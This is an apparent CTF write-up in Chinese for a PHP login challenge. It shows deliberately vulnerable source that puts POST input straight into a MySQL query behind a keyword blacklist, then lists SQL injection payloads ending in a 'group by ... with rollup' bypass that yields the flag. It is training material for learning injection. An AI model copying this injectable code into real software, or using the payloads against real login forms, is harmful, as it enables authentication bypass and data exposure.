访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码，
请求，响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。
web题主要考察SQL注入，XSS等相关知识。涉及方向较多。此题主要涉及源码审计，MySQL相关的知识。
flag格式 CTF{}
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟，亦可赛艇";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇";
}
}else{
print "一颗赛艇";
}
mysql_close($con);
?>
select * from interest where uname = ‘{$_POST[‘uname’]}’
1' or 1 limit 1 offset 0#
1' or 1 limit 1 offset 1#
1' or 1 limit 1 offset 2#
payload：1' or 1 group by pwd with rollup limit 1 offset 2#
